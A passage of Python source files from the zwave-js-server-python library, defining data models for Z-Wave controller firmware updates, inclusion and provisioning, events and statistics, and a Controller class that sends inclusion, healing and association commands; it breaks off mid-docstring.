"""Provide a model for Z-Wave controller firmware.""" from __future__ import annotations from dataclasses import dataclass, field from enum import IntEnum from typing import TypedDict from ...util.helpers import convert_bytes_to_base64 class ControllerFirmwareUpdateDataDataType(TypedDict, total=False): """Represent a controller firmware update data dict type.""" filename: str # required file: str # required fileFormat: str @dataclass class ControllerFirmwareUpdateData: """Controller firmware update data.""" filename: str file: bytes file_format: str | None = None def to_dict(self) -> ControllerFirmwareUpdateDataDataType: """Convert firmware update data to dict.""" data: ControllerFirmwareUpdateDataDataType = { "filename": self.filename, "file": convert_bytes_to_base64(self.file), } if self.file_format is not None: data["fileFormat"] = self.file_format return data class ControllerFirmwareUpdateStatus(IntEnum): """Enum with all controller firmware update status values. https://zwave-js.github.io/node-zwave-js/#/api/controller?id=quotfirmware-update-finishedquot """ ERROR_TIMEOUT = 0 # The maximum number of retry attempts for a firmware fragments were reached ERROR_RETRY_LIMIT_REACHED = 1 # The update was aborted by the bootloader ERROR_ABORTED = 2 # This controller does not support firmware updates ERROR_NOT_SUPPORTED = 3 OK = 255 class ControllerFirmwareUpdateProgressDataType(TypedDict): """Represent a controller firmware update progress dict type.""" sentFragments: int totalFragments: int progress: float @dataclass class ControllerFirmwareUpdateProgress: """Model for a controller firmware update progress data.""" data: ControllerFirmwareUpdateProgressDataType sent_fragments: int = field(init=False) total_fragments: int = field(init=False) progress: float = field(init=False) def __post_init__(self) -> None: """Post initialize.""" self.sent_fragments = self.data["sentFragments"] self.total_fragments = self.data["totalFragments"] self.progress = float(self.data["progress"]) class ControllerFirmwareUpdateResultDataType(TypedDict): """Represent a controller firmware update result dict type.""" status: int success: bool @dataclass class ControllerFirmwareUpdateResult: """Model for controller firmware update result data.""" data: ControllerFirmwareUpdateResultDataType status: ControllerFirmwareUpdateStatus = field(init=False) success: bool = field(init=False) def __post_init__(self) -> None: """Post initialize.""" self.status = ControllerFirmwareUpdateStatus(self.data["status"]) self.success = self.data["success"]
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/controller/firmware.py
firmware.py
"""Provide a model for the Z-Wave JS controller's inclusion/provisioning data structures.""" from __future__ import annotations from dataclasses import dataclass from typing import Any, TypedDict from ...const import Protocols, ProvisioningEntryStatus, QRCodeVersion, SecurityClass class InclusionGrantDataType(TypedDict): """Representation of an inclusion grant data dict type.""" # https://github.com/zwave-js/node-zwave-js/blob/master/packages/zwave-js/src/lib/controller/Inclusion.ts#L48-L56 securityClasses: list[int] clientSideAuth: bool @dataclass class InclusionGrant: """Representation of an inclusion grant.""" security_classes: list[SecurityClass] client_side_auth: bool def to_dict(self) -> InclusionGrantDataType: """Return InclusionGrantDataType dict from self.""" return { "securityClasses": [sec_cls.value for sec_cls in self.security_classes], "clientSideAuth": self.client_side_auth, } @classmethod def from_dict(cls, data: InclusionGrantDataType) -> "InclusionGrant": """Return InclusionGrant from InclusionGrantDataType dict.""" return cls( security_classes=[ SecurityClass(sec_cls) for sec_cls in data["securityClasses"] ], client_side_auth=data["clientSideAuth"], ) @dataclass class ProvisioningEntry: """Class to represent the base fields of a provisioning entry.""" dsk: str security_classes: list[SecurityClass] requested_security_classes: list[SecurityClass] | None = None status: ProvisioningEntryStatus = ProvisioningEntryStatus.ACTIVE additional_properties: dict[str, Any] | None = None def to_dict(self) -> dict[str, Any]: """Return PlannedProvisioning data dict from self.""" data = { "dsk": self.dsk, "securityClasses": [sec_cls.value for sec_cls in self.security_classes], "status": self.status.value, **(self.additional_properties or {}), } if self.requested_security_classes: data["requestedSecurityClasses"] = [ sec_cls.value for sec_cls in self.requested_security_classes ] return data @classmethod def from_dict(cls, data: dict[str, Any]) -> "ProvisioningEntry": """Return ProvisioningEntry from data dict.""" cls_instance = cls( dsk=data["dsk"], security_classes=[ SecurityClass(sec_cls) for sec_cls in data["securityClasses"] ], additional_properties={ k: v for k, v in data.items() if k not in {"dsk", "securityClasses", "requestedSecurityClasses", "status"} }, ) if "requestedSecurityClasses" in data: cls_instance.requested_security_classes = [ SecurityClass(sec_cls) for sec_cls in data["requestedSecurityClasses"] ] if "status" in data: cls_instance.status = ProvisioningEntryStatus(data["status"]) return cls_instance @dataclass class QRProvisioningInformationMixin: """Mixin class to represent the base fields of a QR provisioning information.""" version: QRCodeVersion generic_device_class: int specific_device_class: int installer_icon_type: int manufacturer_id: int product_type: int product_id: int application_version: str max_inclusion_request_interval: int | None uuid: str | None supported_protocols: list[Protocols] | None @dataclass class QRProvisioningInformation(ProvisioningEntry, QRProvisioningInformationMixin): """Representation of provisioning information retrieved from a QR code.""" def to_dict(self) -> dict[str, Any]: """Return QRProvisioningInformation data dict from self.""" data = { "version": self.version.value, "securityClasses": [sec_cls.value for sec_cls in self.security_classes], "dsk": self.dsk, "status": self.status.value, "genericDeviceClass": self.generic_device_class, "specificDeviceClass": self.specific_device_class, "installerIconType": self.installer_icon_type, "manufacturerId": self.manufacturer_id, "productType": self.product_type, "productId": self.product_id, "applicationVersion": self.application_version, **(self.additional_properties or {}), } if self.requested_security_classes: data["requestedSecurityClasses"] = [ sec_cls.value for sec_cls in self.requested_security_classes ] if self.max_inclusion_request_interval is not None: data["maxInclusionRequestInterval"] = self.max_inclusion_request_interval if self.uuid is not None: data["uuid"] = self.uuid if self.supported_protocols is not None: data["supportedProtocols"] = [ protocol.value for protocol in self.supported_protocols ] return data @classmethod def from_dict(cls, data: dict[str, Any]) -> "QRProvisioningInformation": """Return QRProvisioningInformation from data dict.""" cls_instance = cls( version=QRCodeVersion(data["version"]), security_classes=[ SecurityClass(sec_cls) for sec_cls in data["securityClasses"] ], dsk=data["dsk"], generic_device_class=data["genericDeviceClass"], specific_device_class=data["specificDeviceClass"], installer_icon_type=data["installerIconType"], manufacturer_id=data["manufacturerId"], product_type=data["productType"], product_id=data["productId"], application_version=data["applicationVersion"], max_inclusion_request_interval=data.get("maxInclusionRequestInterval"), uuid=data.get("uuid"), supported_protocols=[ Protocols(supported_protocol) for supported_protocol in data.get("supportedProtocols", []) ], additional_properties={ k: v for k, v in data.items() if k not in { "version", "securityClasses", "requestedSecurityClasses", "dsk", "genericDeviceClass", "specificDeviceClass", "installerIconType", "manufacturerId", "productType", "productId", "applicationVersion", "maxInclusionRequestInterval", "uuid", "supportedProtocols", "status", } }, ) if "requestedSecurityClasses" in data: cls_instance.requested_security_classes = [ SecurityClass(sec_cls) for sec_cls in data["requestedSecurityClasses"] ] if "status" in data: cls_instance.status = ProvisioningEntryStatus(data["status"]) return cls_instance
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/controller/inclusion_and_provisioning.py
inclusion_and_provisioning.py
"""Provide a model for the Z-Wave JS controller's events.""" from __future__ import annotations from typing import Literal, TypedDict from ...const import RemoveNodeReason from ...event import BaseEventModel from ..node.data_model import FoundNodeDataType, NodeDataType from .firmware import ( ControllerFirmwareUpdateProgressDataType, ControllerFirmwareUpdateResultDataType, ) from .inclusion_and_provisioning import InclusionGrantDataType from .statistics import ControllerStatisticsDataType class InclusionResultDataType(TypedDict, total=False): """Represent an inclusion result data dict type.""" lowSecurity: bool # required lowSecurityReason: int class BaseControllerEventModel(BaseEventModel): """Base model for a controller event.""" source: Literal["controller"] class ExclusionFailedEventModel(BaseControllerEventModel): """Model for `exclusion failed` event data.""" event: Literal["exclusion failed"] class ExclusionStartedEventModel(BaseControllerEventModel): """Model for `exclusion started` event data.""" event: Literal["exclusion started"] class ExclusionStoppedEventModel(BaseControllerEventModel): """Model for `exclusion stopped` event data.""" event: Literal["exclusion stopped"] class FirmwareUpdateFinishedEventModel(BaseControllerEventModel): """Model for `firmware update finished` event data.""" event: Literal["firmware update finished"] result: ControllerFirmwareUpdateResultDataType class FirmwareUpdateProgressEventModel(BaseControllerEventModel): """Model for `firmware update progress` event data.""" event: Literal["firmware update progress"] progress: ControllerFirmwareUpdateProgressDataType class GrantSecurityClassesEventModel(BaseControllerEventModel): """Model for `grant security classes` event data.""" event: Literal["grant security classes"] requested: InclusionGrantDataType class HealNetworkDoneEventModel(BaseControllerEventModel): """Model for `heal network done` event data.""" event: Literal["heal network done"] result: dict[int, str] class HealNetworkProgressEventModel(BaseControllerEventModel): """Model for `heal network progress` event data.""" event: Literal["heal network progress"] progress: dict[int, str] class InclusionAbortedEventModel(BaseControllerEventModel): """Model for `inclusion aborted` event data.""" event: Literal["inclusion aborted"] class InclusionFailedEventModel(BaseControllerEventModel): """Model for `inclusion failed` event data.""" event: Literal["inclusion failed"] class InclusionStartedEventModel(BaseControllerEventModel): """Model for `inclusion started` event data.""" event: Literal["inclusion started"] secure: bool class InclusionStoppedEventModel(BaseControllerEventModel): """Model for `inclusion stopped` event data.""" event: Literal["inclusion stopped"] class NodeAddedEventModel(BaseControllerEventModel): """Model for `node added` event data.""" event: Literal["node added"] node: NodeDataType result: InclusionResultDataType class NodeFoundEventModel(BaseControllerEventModel): """Model for `node found` event data.""" event: Literal["node found"] node: FoundNodeDataType class NodeRemovedEventModel(BaseControllerEventModel): """Model for `node removed` event data.""" event: Literal["node removed"] node: NodeDataType reason: RemoveNodeReason class NVMBackupAndConvertProgressEventModel(BaseControllerEventModel): """Base model for `nvm backup progress` and `nvm convert progress` event data.""" bytesRead: int total: int class NVMBackupProgressEventModel(NVMBackupAndConvertProgressEventModel): """Model for `nvm backup progress` event data.""" event: Literal["nvm backup progress"] class NVMConvertProgressEventModel(NVMBackupAndConvertProgressEventModel): """Model for `nvm convert progress` event data.""" event: Literal["nvm convert progress"] class NVMRestoreProgressEventModel(BaseControllerEventModel): """Model for `nvm restore progress` event data.""" event: Literal["nvm restore progress"] bytesWritten: int total: int class StatisticsUpdatedEventModel(BaseControllerEventModel): """Model for `statistics updated` event data.""" event: Literal["statistics updated"] statistics: ControllerStatisticsDataType class ValidateDSKAndEnterPINEventModel(BaseControllerEventModel): """Model for `validate dsk and enter pin` event data.""" event: Literal["validate dsk and enter pin"] dsk: str class IdentifyEventModel(BaseControllerEventModel): """Model for `identify` event data.""" event: Literal["identify"] nodeId: int class StatusChangedEventModel(BaseControllerEventModel): """Model for `status changed` event data.""" event: Literal["status changed"] status: int CONTROLLER_EVENT_MODEL_MAP: dict[str, type["BaseControllerEventModel"]] = { "exclusion failed": ExclusionFailedEventModel, "exclusion started": ExclusionStartedEventModel, "exclusion stopped": ExclusionStoppedEventModel, "firmware update finished": FirmwareUpdateFinishedEventModel, "firmware update progress": FirmwareUpdateProgressEventModel, "grant security classes": GrantSecurityClassesEventModel, "heal network done": HealNetworkDoneEventModel, "heal network progress": HealNetworkProgressEventModel, "identify": IdentifyEventModel, "inclusion aborted": InclusionAbortedEventModel, "inclusion failed": InclusionFailedEventModel, "inclusion started": InclusionStartedEventModel, "inclusion stopped": InclusionStoppedEventModel, "node added": NodeAddedEventModel, "node found": NodeFoundEventModel, "node removed": NodeRemovedEventModel, "nvm backup progress": NVMBackupProgressEventModel, "nvm convert progress": NVMConvertProgressEventModel, "nvm restore progress": NVMRestoreProgressEventModel, "statistics updated": StatisticsUpdatedEventModel, "status changed": StatusChangedEventModel, "validate dsk and enter pin": ValidateDSKAndEnterPINEventModel, }
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/controller/event_model.py
event_model.py
"""Provide a model for the Z-Wave JS controller's statistics.""" from __future__ import annotations from contextlib import suppress from dataclasses import dataclass, field from typing import TYPE_CHECKING, TypedDict from ..statistics import RouteStatistics, RouteStatisticsDataType if TYPE_CHECKING: from ...client import Client class ControllerLifelineRoutesDataType(TypedDict): """Represent a controller lifeline routes data dict type.""" lwr: RouteStatisticsDataType nlwr: RouteStatisticsDataType @dataclass class ControllerLifelineRoutes: """Represent controller lifeline routes.""" client: "Client" data: ControllerLifelineRoutesDataType lwr: RouteStatistics | None = field(init=False, default=None) nlwr: RouteStatistics | None = field(init=False, default=None) def __post_init__(self) -> None: """Post initialize.""" if lwr := self.data.get("lwr"): with suppress(ValueError): self.lwr = RouteStatistics(self.client, lwr) if nlwr := self.data.get("nlwr"): with suppress(ValueError): self.nlwr = RouteStatistics(self.client, nlwr) class ChannelRSSIDataType(TypedDict): """Represent a channel RSSI data dict type.""" average: int current: int class BackgroundRSSIDataType(TypedDict, total=False): """Represent a background RSSI data dict type.""" # https://github.com/zwave-js/node-zwave-js/blob/master/packages/zwave-js/src/lib/controller/ControllerStatistics.ts#L40 timestamp: int # required channel0: ChannelRSSIDataType # required channel1: ChannelRSSIDataType # required channel2: ChannelRSSIDataType class ControllerStatisticsDataType(TypedDict, total=False): """Represent a controller statistics data dict type.""" # https://github.com/zwave-js/node-zwave-js/blob/master/packages/zwave-js/src/lib/controller/ControllerStatistics.ts#L20-L39 messagesTX: int # required messagesRX: int # required messagesDroppedTX: int # required messagesDroppedRX: int # required NAK: int # required CAN: int # required timeoutACK: int # required timeoutResponse: int # required timeoutCallback: int # required backgroundRSSI: BackgroundRSSIDataType @dataclass class ChannelRSSI: """Represent a channel RSSI.""" data: ChannelRSSIDataType average: int = field(init=False) current: int = field(init=False) def __post_init__(self) -> None: """Post initialize.""" self.average = self.data["average"] self.current = self.data["current"] @dataclass class BackgroundRSSI: """Represent a background RSSI update.""" data: BackgroundRSSIDataType timestamp: int = field(init=False) channel_0: ChannelRSSI = field(init=False) channel_1: ChannelRSSI = field(init=False) channel_2: ChannelRSSI | None = field(init=False) def __post_init__(self) -> None: """Post initialize.""" self.timestamp = self.data["timestamp"] self.channel_0 = ChannelRSSI(self.data["channel0"]) self.channel_1 = ChannelRSSI(self.data["channel1"]) if not (channel_2 := self.data.get("channel2")): self.channel_2 = None return self.channel_2 = ChannelRSSI(channel_2) @dataclass class ControllerStatistics: """Represent a controller statistics update.""" data: ControllerStatisticsDataType messages_tx: int = field(init=False) messages_rx: int = field(init=False) messages_dropped_rx: int = field(init=False) messages_dropped_tx: int = field(init=False) nak: int = field(init=False) can: int = field(init=False) timeout_ack: int = field(init=False) timeout_response: int = field(init=False) timeout_callback: int = field(init=False) background_rssi: BackgroundRSSI | None = field(init=False, default=None) def __post_init__(self) -> None: """Post initialize.""" self.messages_tx = self.data["messagesTX"] self.messages_rx = self.data["messagesRX"] self.messages_dropped_rx = self.data["messagesDroppedRX"] self.messages_dropped_tx = self.data["messagesDroppedTX"] self.nak = self.data["NAK"] self.can = self.data["CAN"] self.timeout_ack = self.data["timeoutACK"] self.timeout_response = self.data["timeoutResponse"] self.timeout_callback = self.data["timeoutCallback"] if background_rssi := self.data.get("backgroundRSSI"): self.background_rssi = BackgroundRSSI(background_rssi)
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/controller/statistics.py
statistics.py
"""Data model for a Z-Wave JS controller.""" from __future__ import annotations from typing import TypedDict from .statistics import ControllerStatisticsDataType class ControllerDataType(TypedDict, total=False): """Represent a controller data dict type.""" sdkVersion: str type: int homeId: int ownNodeId: int isPrimary: bool isSUC: bool nodeType: int isUsingHomeIdFromOtherNetwork: bool # TODO: The following items are missing in the docs. isSISPresent: bool wasRealPrimary: bool firmwareVersion: str manufacturerId: int productType: int productId: int supportedFunctionTypes: list[int] sucNodeId: int supportsTimers: bool isHealNetworkActive: bool statistics: ControllerStatisticsDataType inclusionState: int rfRegion: int status: int
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/controller/data_model.py
data_model.py
"""Provide a model for the Z-Wave JS controller.""" from __future__ import annotations from dataclasses import dataclass from typing import TYPE_CHECKING, Any, Literal, cast from zwave_js_server.model.node.firmware import ( NodeFirmwareUpdateFileInfo, NodeFirmwareUpdateInfo, ) from ...const import ( MINIMUM_QR_STRING_LENGTH, ControllerStatus, ExclusionStrategy, InclusionState, InclusionStrategy, NodeType, QRCodeVersion, RemoveNodeReason, RFRegion, ZwaveFeature, ) from ...event import Event, EventBase from ...util.helpers import convert_base64_to_bytes, convert_bytes_to_base64 from ..association import AssociationAddress, AssociationGroup from ..node import Node from ..node.firmware import NodeFirmwareUpdateResult from .data_model import ControllerDataType from .event_model import CONTROLLER_EVENT_MODEL_MAP from .firmware import ControllerFirmwareUpdateProgress, ControllerFirmwareUpdateResult from .inclusion_and_provisioning import ( InclusionGrant, ProvisioningEntry, QRProvisioningInformation, ) from .statistics import ( ControllerLifelineRoutes, ControllerStatistics, ControllerStatisticsDataType, ) if TYPE_CHECKING: from ...client import Client DEFAULT_CONTROLLER_STATISTICS = ControllerStatisticsDataType( messagesTX=0, messagesRX=0, messagesDroppedTX=0, messagesDroppedRX=0, NAK=0, CAN=0, timeoutACK=0, timeoutResponse=0, timeoutCallback=0, ) @dataclass class NVMProgress: """Class to represent an NVM backup/restore progress event.""" bytes_read_or_written: int total_bytes: int class Controller(EventBase): """Represent a Z-Wave JS controller.""" def __init__(self, client: "Client", state: dict) -> None: """Initialize controller.""" super().__init__() self.client = client self.nodes: dict[int, Node] = {} self._heal_network_progress: dict[int, str] | None = None self._statistics = ControllerStatistics(DEFAULT_CONTROLLER_STATISTICS) self._firmware_update_progress: ControllerFirmwareUpdateProgress | None = None for node_state in state["nodes"]: node = Node(client, node_state) self.nodes[node.node_id] = node self.update(state["controller"]) def __repr__(self) -> str: """Return the representation.""" return f"{type(self).__name__}(home_id={self.home_id})" def __hash__(self) -> int: """Return the hash.""" return hash(self.home_id) def __eq__(self, other: object) -> bool: """Return whether this instance equals another.""" if not isinstance(other, Controller): return False return self.home_id == other.home_id @property def sdk_version(self) -> str | None: """Return sdk_version.""" return self.data.get("sdkVersion") @property def controller_type(self) -> int | None: """Return controller_type.""" return self.data.get("type") @property def home_id(self) -> int | None: """Return home_id.""" return self.data.get("homeId") @property def own_node_id(self) -> int | None: """Return own_node_id.""" return self.data.get("ownNodeId") @property def own_node(self) -> Node | None: """Return own_node.""" if self.own_node_id is None: return None return self.nodes.get(self.own_node_id) @property def is_primary(self) -> bool | None: """Return is_primary.""" return self.data.get("isPrimary") @property def is_using_home_id_from_other_network(self) -> bool | None: """Return is_using_home_id_from_other_network.""" return self.data.get("isUsingHomeIdFromOtherNetwork") @property def is_SIS_present(self) -> bool | None: # pylint: disable=invalid-name """Return is_SIS_present.""" return self.data.get("isSISPresent") @property def was_real_primary(self) -> bool | None: """Return was_real_primary.""" return self.data.get("wasRealPrimary") @property def is_suc(self) -> bool | None: """Return is_suc.""" return self.data.get("isSUC") @property def node_type(self) -> NodeType | None: """Return node_type.""" if (node_type := self.data.get("nodeType")) is not None: return NodeType(node_type) return None @property def firmware_version(self) -> str | None: """Return firmware_version.""" return self.data.get("firmwareVersion") @property def manufacturer_id(self) -> int | None: """Return manufacturer_id.""" return self.data.get("manufacturerId") @property def product_type(self) -> int | None: """Return product_type.""" return self.data.get("productType") @property def product_id(self) -> int | None: """Return product_id.""" return self.data.get("productId") @property def supported_function_types(self) -> list[int]: """Return supported_function_types.""" return self.data.get("supportedFunctionTypes", []) @property def suc_node_id(self) -> int | None: """Return suc_node_id.""" return self.data.get("sucNodeId") @property def supports_timers(self) -> bool | None: """Return supports_timers.""" return self.data.get("supportsTimers") @property def is_heal_network_active(self) -> bool | None: """Return is_heal_network_active.""" return self.data.get("isHealNetworkActive") @property def statistics(self) -> ControllerStatistics: """Return statistics property.""" return self._statistics @property def heal_network_progress(self) -> dict[int, str] | None: """Return heal network progress state.""" return self._heal_network_progress @property def inclusion_state(self) -> InclusionState: """Return inclusion state.""" return InclusionState(self.data["inclusionState"]) @property def rf_region(self) -> RFRegion | None: """Return RF region of controller.""" if (rf_region := self.data.get("rfRegion")) is None: return None return RFRegion(rf_region) @property def firmware_update_progress(self) -> ControllerFirmwareUpdateProgress | None: """Return firmware update progress.""" return self._firmware_update_progress @property def status(self) -> ControllerStatus: """Return status.""" return ControllerStatus(self.data["status"]) def update(self, data: ControllerDataType) -> None: """Update controller data.""" self.data = data self._statistics = ControllerStatistics( self.data.get("statistics", DEFAULT_CONTROLLER_STATISTICS) ) async def async_begin_inclusion( self, inclusion_strategy: Literal[ InclusionStrategy.DEFAULT, InclusionStrategy.SECURITY_S0, InclusionStrategy.SECURITY_S2, InclusionStrategy.INSECURE, ], force_security: bool | None = None, provisioning: str | ProvisioningEntry | QRProvisioningInformation | None = None, dsk: str | None = None, ) -> bool: """Send beginInclusion command to Controller.""" # Most functionality was introduced in Schema 8 require_schema = 8 options: dict[str, Any] = {"strategy": inclusion_strategy} # forceSecurity can only be used with the default inclusion strategy if force_security is not None: if inclusion_strategy != InclusionStrategy.DEFAULT: raise ValueError( "`forceSecurity` option is only supported with inclusion_strategy=DEFAULT" ) options["forceSecurity"] = force_security # provisioning can only be used with the S2 inclusion strategy and may need # additional processing if provisioning is not None: if inclusion_strategy != InclusionStrategy.SECURITY_S2: raise ValueError( "`provisioning` option is only supported with inclusion_strategy=SECURITY_S2" ) if dsk is not None: raise ValueError("Only one of `provisioning` and `dsk` can be provided") # Provisioning option was introduced in Schema 11 require_schema = 11 # String is assumed to be the QR code string so we can pass as is if isinstance(provisioning, str): if len( provisioning ) < MINIMUM_QR_STRING_LENGTH or not provisioning.startswith("90"): raise ValueError( f"QR code string must be at least {MINIMUM_QR_STRING_LENGTH} characters " "long and start with `90`" ) options["provisioning"] = provisioning # If we get a Smart Start QR code, we provision the node and return because # inclusion is over elif ( isinstance(provisioning, QRProvisioningInformation) and provisioning.version == QRCodeVersion.SMART_START ): raise ValueError( "Smart Start QR codes can't use the normal inclusion process. Use the " "provision_smart_start_node command to provision this device." ) # Otherwise we assume the data is ProvisioningEntry or # QRProvisioningInformation that is not a Smart Start QR code else: options["provisioning"] = provisioning.to_dict() if dsk is not None: if inclusion_strategy != InclusionStrategy.SECURITY_S2: raise ValueError( "`dsk` option is only supported with inclusion_strategy=SECURITY_S2" ) require_schema = 25 options["dsk"] = dsk data = await self.client.async_send_command( { "command": "controller.begin_inclusion", "options": options, }, require_schema=require_schema, ) return cast(bool, data["success"]) async def async_provision_smart_start_node( self, provisioning_info: ProvisioningEntry | QRProvisioningInformation | str, ) -> None: """Send provisionSmartStartNode command to Controller.""" if ( isinstance(provisioning_info, QRProvisioningInformation) and provisioning_info.version == QRCodeVersion.S2 ): raise ValueError( "An S2 QR Code can't be used to pre-provision a Smart Start node" ) await self.client.async_send_command( { "command": "controller.provision_smart_start_node", "entry": provisioning_info if isinstance(provisioning_info, str) else provisioning_info.to_dict(), }, require_schema=11, ) async def async_unprovision_smart_start_node( self, dsk_or_node_id: int | str ) -> None: """Send unprovisionSmartStartNode command to Controller.""" await self.client.async_send_command( { "command": "controller.unprovision_smart_start_node", "dskOrNodeId": dsk_or_node_id, }, require_schema=11, ) async def async_get_provisioning_entry( self, dsk_or_node_id: int | str ) -> ProvisioningEntry | None: """Send getProvisioningEntry command to Controller.""" data = await self.client.async_send_command( { "command": "controller.get_provisioning_entry", "dskOrNodeId": dsk_or_node_id, }, require_schema=17, ) if "entry" in data: return ProvisioningEntry.from_dict(data["entry"]) return None async def async_get_provisioning_entries(self) -> list[ProvisioningEntry]: """Send getProvisioningEntries command to Controller.""" data = await self.client.async_send_command( { "command": "controller.get_provisioning_entries", }, require_schema=11, ) return [ProvisioningEntry.from_dict(entry) for entry in data.get("entries", [])] async def async_stop_inclusion(self) -> bool: """Send stopInclusion command to Controller.""" data = await self.client.async_send_command( {"command": "controller.stop_inclusion"} ) return cast(bool, data["success"]) async def async_begin_exclusion( self, strategy: ExclusionStrategy | None = None ) -> bool: """Send beginExclusion command to Controller.""" payload: dict[str, str | dict[str, ExclusionStrategy]] = { "command": "controller.begin_exclusion" } if strategy is not None: payload["options"] = {"strategy": strategy} data = await self.client.async_send_command(payload, require_schema=22) return cast(bool, data["success"]) async def async_stop_exclusion(self) -> bool: """Send stopExclusion command to Controller.""" data = await self.client.async_send_command( {"command": "controller.stop_exclusion"} ) return cast(bool, data["success"]) async def async_remove_failed_node(self, node: Node) -> None: """Send removeFailedNode command to Controller.""" await self.client.async_send_command( {"command": "controller.remove_failed_node", "nodeId": node.node_id} ) async def async_replace_failed_node( self, node: Node, inclusion_strategy: Literal[ InclusionStrategy.DEFAULT, InclusionStrategy.SECURITY_S0, InclusionStrategy.SECURITY_S2, InclusionStrategy.INSECURE, ], force_security: bool | None = None, provisioning: str | ProvisioningEntry | QRProvisioningInformation | None = None, ) -> bool: """Send replaceFailedNode command to Controller.""" # Most functionality was introduced in Schema 8 require_schema = 8 options: dict[str, Any] = {"strategy": inclusion_strategy} # forceSecurity can only be used with the default inclusion strategy if force_security is not None: if inclusion_strategy != InclusionStrategy.DEFAULT: raise ValueError( "`forceSecurity` option is only supported with inclusion_strategy=DEFAULT" ) options["forceSecurity"] = force_security # provisioning can only be used with the S2 inclusion strategy and may need # additional processing if provisioning is not None: if inclusion_strategy != InclusionStrategy.SECURITY_S2: raise ValueError( "`provisioning` option is only supported with inclusion_strategy=SECURITY_S2" ) # Provisioning option was introduced in Schema 11 require_schema = 11 # String is assumed to be the QR code string so we can pass as is if isinstance(provisioning, str): if len( provisioning ) < MINIMUM_QR_STRING_LENGTH or not provisioning.startswith("90"): raise ValueError( f"QR code string must be at least {MINIMUM_QR_STRING_LENGTH} characters " "long and start with `90`" ) options["provisioning"] = provisioning # Otherwise we assume the data is ProvisioningEntry or # QRProvisioningInformation else: options["provisioning"] = provisioning.to_dict() data = await self.client.async_send_command( { "command": "controller.replace_failed_node", "nodeId": node.node_id, "options": options, }, require_schema=require_schema, ) return cast(bool, data["success"]) async def async_heal_node(self, node: Node) -> bool: """Send healNode command to Controller.""" data = await self.client.async_send_command( {"command": "controller.heal_node", "nodeId": node.node_id} ) return cast(bool, data["success"]) async def async_begin_healing_network(self) -> bool: """Send beginHealingNetwork command to Controller.""" data = await self.client.async_send_command( {"command": "controller.begin_healing_network"} ) return cast(bool, data["success"]) async def async_stop_healing_network(self) -> bool: """Send stopHealingNetwork command to Controller.""" data = await self.client.async_send_command( {"command": "controller.stop_healing_network"} ) success = cast(bool, data["success"]) if success: self._heal_network_progress = None self.data["isHealNetworkActive"] = False return success async def async_is_failed_node(self, node: Node) -> bool: """Send isFailedNode command to Controller.""" data = await self.client.async_send_command( {"command": "controller.is_failed_node", "nodeId": node.node_id} ) return cast(bool, data["failed"]) async def async_get_association_groups( self, source: AssociationAddress ) -> dict[int, AssociationGroup]: """Send getAssociationGroups command to Controller.""" source_data = {"nodeId": source.node_id} if source.endpoint is not None: source_data["endpoint"] = source.endpoint data = await self.client.async_send_command( { "command": "controller.get_association_groups", **source_data, } ) groups = {} for key, group in data["groups"].items(): groups[int(key)] = AssociationGroup( max_nodes=group["maxNodes"], is_lifeline=group["isLifeline"], multi_channel=group["multiChannel"], label=group["label"], profile=group.get("profile"), issued_commands=group.get("issuedCommands", {}), ) return groups async def async_get_associations( self, source: AssociationAddress ) -> dict[int, list[AssociationAddress]]: """Send getAssociations command to Controller.""" source_data = {"nodeId": source.node_id} if source.endpoint is not None: source_data["endpoint"] = source.endpoint data = await self.client.async_send_command( { "command": "controller.get_associations", **source_data, } ) associations = {} for key, association_addresses in data["associations"].items(): associations[int(key)] = [ AssociationAddress( node_id=association_address["nodeId"], endpoint=association_address.get("endpoint"), ) for association_address in association_addresses ] return associations async def async_is_association_allowed( self, source: AssociationAddress, group: int, association: AssociationAddress ) -> bool: """Send isAssociationAllowed command to Controller.""" source_data = {"nodeId": source.node_id} if source.endpoint is not None: source_data["endpoint"] = source.endpoint association_data = {"nodeId": association.node_id} if association.endpoint is not None: association_data["endpoint"] = association.endpoint data = await self.client.async_send_command( { "command": "controller.is_association_allowed", **source_data, "group": group, "association": association_data, } ) return cast(bool, data["allowed"]) async def async_add_associations( self, source: AssociationAddress, group: int, associations: list[AssociationAddress], wait_for_result: bool = False, ) -> None: """Send addAssociations command to Controller.""" source_data = {"nodeId": source.node_id} if source.endpoint is not None: source_data["endpoint"] = source.endpoint associations_data = [] for association in associations: association_data = {"nodeId": association.node_id} if association.endpoint is not None: association_data["endpoint"] = association.endpoint associations_data.append(association_data) cmd = { "command": "controller.add_associations", **source_data, "group": group, "associations": associations_data, } if wait_for_result: await self.client.async_send_command(cmd) else: await self.client.async_send_command_no_wait(cmd) async def async_remove_associations( self, source: AssociationAddress, group: int, associations: list[AssociationAddress], wait_for_result: bool = False, ) -> None: """Send removeAssociations command to Controller.""" source_data = {"nodeId": source.node_id} if source.endpoint is not None: source_data["endpoint"] = source.endpoint associations_data = [] for association in associations: association_data = {"nodeId": association.node_id} if association.endpoint is not None: association_data["endpoint"] = association.endpoint associations_data.append(association_data) cmd = { "command": "controller.remove_associations", **source_data, "group": group, "associations": associations_data, } if wait_for_result: await self.client.async_send_command(cmd) else: await self.client.async_send_command_no_wait(cmd) async def async_remove_node_from_all_associations( self, node: Node, wait_for_result: bool = False, ) -> None: """Send removeNodeFromAllAssociations command to Controller.""" cmd = { "command": "controller.remove_node_from_all_associations", "nodeId": node.node_id, } if wait_for_result: await self.client.async_send_command(cmd) else: await self.client.async_send_command_no_wait(cmd) async def async_get_node_neighbors(self, node: Node) -> list[int]: """Send getNodeNeighbors command to Controller to get node's neighbors.""" data = await self.client.async_send_command( { "command": "controller.get_node_neighbors", "nodeId": node.node_id, } ) return cast(list[int], data["neighbors"]) async def async_grant_security_classes( self, inclusion_grant: InclusionGrant ) -> None: """Send grantSecurityClasses command to Controller.""" await self.client.async_send_command( { "command": "controller.grant_security_classes", "inclusionGrant": inclusion_grant.to_dict(), } ) async def async_validate_dsk_and_enter_pin(self, pin: str) -> None: """Send validateDSKAndEnterPIN command to Controller.""" await self.client.async_send_command( { "command": "controller.validate_dsk_and_enter_pin", "pin": pin, } ) async def async_supports_feature(self, feature: ZwaveFeature) -> bool | None: """ Send supportsFeature command to Controller. When None is returned it means the driver does not yet know 